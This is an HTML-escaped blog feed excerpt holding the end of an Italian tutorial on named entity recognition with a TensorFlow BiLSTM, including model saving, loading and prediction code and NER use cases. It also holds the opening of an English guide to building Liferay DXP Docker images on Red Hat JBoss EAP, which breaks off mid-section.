&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;models/bilstm/words.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    pickle.dump(words, handle, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=pickle.HIGHEST_PROTOCOL)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;models/bilstm/tags.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;wb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    pickle.dump(tags, handle, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;protocol&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=pickle.HIGHEST_PROTOCOL)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Saving Model Weight&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model.save(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;models/bilstm/bilstm.h5&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 11 - Esempio in formato JSONL&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Per riutilizzare il modello basta caricarlo specificando il path dove è stato archiviato, importando anche i dizionari.
Definiamo anche una funzione per svolgere tokenizzazione sul testo sfruttando &lt;strong&gt;nltk&lt;/strong&gt;.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;12&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Custom Tokenizer&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;tokenize&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;): &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.word_tokenize(s)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;sentence = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Sharon flew to Miami last friday&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;max_len = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;400&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# loading dictionaries&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ROOT_FOLDER + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/bilstm_3/word2idx.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    word2idx = pickle.load(handle)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ROOT_FOLDER + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/bilstm_3/tag2idx.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tag2idx = pickle.load(handle)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ROOT_FOLDER + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/bilstm_3/words.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    words = pickle.load(handle)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ROOT_FOLDER + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/bilstm_3/tags.pickle&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; handle:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    tags = pickle.load(handle)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# loading model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = load_model(ROOT_FOLDER + &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;/bilstm_3/bilstm_3.h5&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 12 - Caricamento del modello e dei dizionari&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;A questo punto tokenizziamo il testo, ne facciamo il padding alla lunghezza massima specificata e lo diamo in input al
modello, che restituirà per ogni token il tag e la probabilità associata.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;13&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Tokenization&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;test_sentence = tokenize(sentence)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Preprocessing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;x_test_sent = pad_sequences(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sequences&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=[[word2idx.get(w, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; test_sentence]],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;                            &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;post&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(words)-&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;maxlen&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=max_len)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Predicting tags and probabilities&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;p_pred = model.predict(np.array([x_test_sent[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]]))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;p = np.argmax(p_pred, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;axis&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=-&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;prediction = []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Visualization&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w, pred, probs &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(test_sentence, p[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;], p_pred[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    prediction.append((w, tags[pred], probs[pred]))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 13 - Utilizzo del modello per la predizione dei tag&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Come già detto, utilizzare Tensorflow, piuttosto che un&amp;#x27;altra libreria di Deep Learning, per addestrare modelli per task di questo
genere, risulta più complesso e richiede maggiore conoscenza di tutti gli aspetti alla base del Machine Learning.&lt;br/&gt;
In molti casi strumenti come  Spacy permettono di raggiungere livelli di prestazioni molto alti, ma qualora non si riescano
a raggiungere prestazioni degne di nota, allora strumenti come Tensorflow, possono essere utilizzati per ricercare la rete neurale e la
configurazione che più fa al proprio caso.&lt;/p&gt;&lt;h2 id=&quot;applicazioni-delle-ner&quot;&gt;Applicazioni delle NER&lt;/h2&gt;&lt;p&gt;La capacità di individuare in modo intelligente e efficace entità nel testo, permette di fatto di taggare i contenuti testuali con quelli che possono
risultare dei concetti rilevanti per quest&amp;#x27;ultimi. Questo si traduce nella possibilità di realizzare o migliorare una serie di possibili applicazioni.&lt;/p&gt;&lt;h4 id=&quot;--sistemi-di-ricerca&quot;&gt;🔍  Sistemi di ricerca&lt;/h4&gt;&lt;p&gt;Attraverso l&amp;#x27;utilizzo della NER è possibile migliorare sia in efficienza che in efficacia i sistemi di ricerca.&lt;br/&gt;
In efficienza, andando di fatto, a svolgere le ricerche direttamente sulla lista di tag o entità associate ai diversi contenuti,
invece di svolgere una ricerca full text.&lt;br/&gt;
In efficacia, permettendo di svolgere delle ricerche mirate, su determinati tipi di entità.&lt;br/&gt;
Ad esempio, se voglio cercare i documenti che fanno riferimento ad una determinata persona o organizzazione, posso riconoscere attraverso
la NER questi tipi di entità, e mapparli su appositi campi, andando di fatto a svolgere una ricerca che filtra in base al tipo di categoria e al
valore specificato.
O ad esempio, taggare le email passsate, con persone e indirizzi email, specificandone anche il contesto.&lt;br/&gt;
Un&amp;#x27;applicazione di questo genere può risultare molto importante in un contesto enterprise, con lo scopo di cercare in modo rapido ed efficacie,
i contenuti di un&amp;#x27;azienda, di un dipendente piuttosto che di un cliente.&lt;/p&gt;&lt;h4 id=&quot;️--customer-service&quot;&gt;☎️  Customer Service&lt;/h4&gt;&lt;p&gt;Il customer care delle aziende si trova a dover navigare tra centinaia o migliaia di messaggi di assistenza al giorno.
La possibilità di taggare i diversi messaggi e ticket in arrivo, può velocizzare di molto la capacità di inviare in modo corretto e rapido
i ticket ai reparti specializzati nel prendere in carico una specifica tipologia di problema.&lt;/p&gt;&lt;h4 id=&quot;--sistemi-di-raccomandazione&quot;&gt;👀  Sistemi di raccomandazione&lt;/h4&gt;&lt;p&gt;Nei sistemi di raccomandazione risulta fondamentale analizzare ciò che un utente esplora, e nel caso di un sistema di raccomandazione testuale,
come può essere un strumento di raccomandazione di news ad esempio, la capacità di riconoscere entità nel testo permette di analizzare i contenuti
che l&amp;#x27;utente visita, in modo da poi raccomandarne dei simili. &lt;/p&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk14 { color: #F44747; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk10 { color: #4EC9B0; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[How to create Docker images Liferay DXP + Red Hat JBoss EAP]]></title><link>https://techblog.smc.itcome-creare-immagini-docker-liferay-dxp-jboss-eap</link><guid isPermaLink="false">https://techblog.smc.itcome-creare-immagini-docker-liferay-dxp-jboss-eap</guid><pubDate>Wed, 21 Oct 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Docker has become increasingly popular in today&amp;#x27;s development lifecycle,
providing an automated way to package software and its dependencies into a
standardized unit that can be shared across multiple platforms. For more
information on the subject, I recommend a &amp;quot;detour&amp;quot; to the wide documentation of
&lt;a href=&quot;https://www.docker.com/&quot;&gt;Docker&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;With this article I want to take you by the hand and lead you to the construction of
a Docker image of &lt;a href=&quot;https://www.liferay.com&quot;&gt;Liferay DXP&lt;/a&gt; installed on &lt;a href=&quot;https://www.redhat.com/en/technologies/jboss-middleware/application-platform&quot;&gt;Red Hat JBoss EAP&lt;/a&gt;.
Arm yourself with patience because the road will be a little long but I&amp;#x27;m sure
it will upon arrival you will be satisfied.&lt;/p&gt;&lt;p&gt;The article focuses on Liferay DXP version 7.2 and version 7.2 by Red Hat JBoss
EAP. Some of you will know that October 13, 2020 was Liferay DXP version 7.3
released, and I&amp;#x27;m sure you&amp;#x27;ll be pleased to know that I dedicated the last
chapter to creating the image with the latter Liferay version installed on the
latest version of JBoss EAP 7.3.&lt;/p&gt;&lt;h2 id=&quot;1-liferays-standard-docker-images&quot;&gt;1. Liferay&amp;#x27;s standard Docker images&lt;/h2&gt;&lt;p&gt;Liferay provides official Docker images for the following products. These pictures
are freely available and published on the &lt;a href=&quot;https://docs.docker.com/docker-hub/&quot;&gt;Docker Hub&lt;/a&gt;
repository by Liferay. The related Docker image is available for each product release.
The figure below shows the latest Liferay DXP version 7.3 Docker images.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/liferay/portal&quot;&gt;Liferay Portal (Community Edition)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/liferay/dxp&quot;&gt;Liferay DXP&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/liferay/commerce&quot;&gt;Liferay Commerce&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://hub.docker.com/r/liferay/portal-snapshot&quot;&gt;Snapshot of the Liferay Portal&lt;/a&gt;&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5c4b2100f5992fcd586508f84e032ed8/b29d9/liferay-dxp-docker-hub-repository.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:64%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;256\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20256\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2010v9h401V0H0v10m19%2048l-6%203v6c0%206%200%206%203%209%208%208%2013%208%2021%200%203-3%203-3%203-9v-6l-6-3c-8-5-7-5-15%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/5c4b2100f5992fcd586508f84e032ed8/c85cb/liferay-dxp-docker-hub-repository.webp 300w,/static/5c4b2100f5992fcd586508f84e032ed8/e88ff/liferay-dxp-docker-hub-repository.webp 600w,/static/5c4b2100f5992fcd586508f84e032ed8/92f8c/liferay-dxp-docker-hub-repository.webp 1200w,/static/5c4b2100f5992fcd586508f84e032ed8/62ed8/liferay-dxp-docker-hub-repository.webp 1800w,/static/5c4b2100f5992fcd586508f84e032ed8/19b3a/liferay-dxp-docker-hub-repository.webp 1989w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/5c4b2100f5992fcd586508f84e032ed8/5a46d/liferay-dxp-docker-hub-repository.png 300w,/static/5c4b2100f5992fcd586508f84e032ed8/0a47e/liferay-dxp-docker-hub-repository.png 600w,/static/5c4b2100f5992fcd586508f84e032ed8/c1b63/liferay-dxp-docker-hub-repository.png 1200w,/static/5c4b2100f5992fcd586508f84e032ed8/d61c2/liferay-dxp-docker-hub-repository.png 1800w,/static/5c4b2100f5992fcd586508f84e032ed8/b29d9/liferay-dxp-docker-hub-repository.png 1989w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 1 - Liferay Docker Hub Repository&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/5c4b2100f5992fcd586508f84e032ed8/c1b63/liferay-dxp-docker-hub-repository.png&quot; title=&quot;Figure 1 - Liferay Docker Hub Repository&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 1 - Liferay Docker Hub Repository&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;You can extract Liferay Docker images from the resources indicated in precedence
and manage them independently. &lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360029147471-Liferay-Workspace&quot;&gt;Liferay Workspace&lt;/a&gt;,
however, it does provide an easy way to integrate Docker development into your own
existing workflow with prepackaged Gradle activities or tasks.&lt;/p&gt;&lt;p&gt;Thanks to the Liferay Workspace we can perform the following activities.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Creating a Docker container based on a standard image provided via Docker Hub.&lt;/li&gt;&lt;li&gt;Container configuration.&lt;/li&gt;&lt;li&gt;Interact with the container.&lt;/li&gt;&lt;li&gt;Creating a custom Liferay image.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;All detailed information is available on the official documentation by Liferay
&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360022307392-Leveraging-Docker&quot;&gt;Leveraging Docker&lt;/a&gt;.
The next paragraphs briefly describe how the images are organized produced by Liferay.&lt;/p&gt;&lt;h3 id=&quot;11-tags&quot;&gt;1.1. Tags&lt;/h3&gt;&lt;p&gt;The tags follow the format {version}-{data}. Version indicates the version of
Liferay DXP and date indicates the date the Docker image was created. The tags
following the {version} format always point to the last tag following the
format {version}-{date}.&lt;/p&gt;&lt;p&gt;DXP images come with a 30 day trial license. Pictures older ones will be deleted
regularly and new images will be available with a new 30-day trial license.&lt;/p&gt;&lt;h3 id=&quot;12-runnings&quot;&gt;1.2. Runnings&lt;/h3&gt;&lt;p&gt;To start Liferay DXP, replace {tag} and run the command
&lt;code&gt;docker run -it -p 8080:8080 liferay/dxp:{tag}&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The &lt;strong&gt;-it&lt;/strong&gt; argument allows you to stop the container with the combination of
CTRL-C keys. Otherwise, you need to use the &lt;code&gt;docker kill {containerId}&lt;/code&gt; command
(or other equivalent) to stop the container.&lt;/p&gt;&lt;p&gt;The argument &lt;strong&gt;-p 8080: 8080&lt;/strong&gt; maps container port 8080 to port 8080 of the host
so that you can access Liferay DXP using a browser.&lt;/p&gt;&lt;h3 id=&quot;13-evironment-variables&quot;&gt;1.3. Evironment Variables&lt;/h3&gt;&lt;p&gt;You can fine-tune the default JVM parameters by setting the variable
LIFERAY_JVM_OPTS environment.&lt;/p&gt;&lt;p&gt;You can customize the behavior of Liferay DXP via environment variables
that reference the configuration properties defined on the portal.properties file.
For example, if you want to configure the Liferay instance for the English language only
and Portuguese, you can use one of the following strategies:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;create the portal-ext.properties file with the entry &lt;code&gt;locales.enabled = en_US, pt_BR&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;set the environment variable &lt;code&gt;LIFERAY_LOCALES_PERIOD_ENABLED = en_US, pt_BR&lt;/code&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Environment variables take precedence over portal.properties. The respective
environment variable of each property is documented within the file
portal.properties.&lt;/p&gt;&lt;h3 id=&quot;14-file-system&quot;&gt;1.4. File System&lt;/h3&gt;&lt;p&gt;To quickly test your changes without creating a new image, map the host file
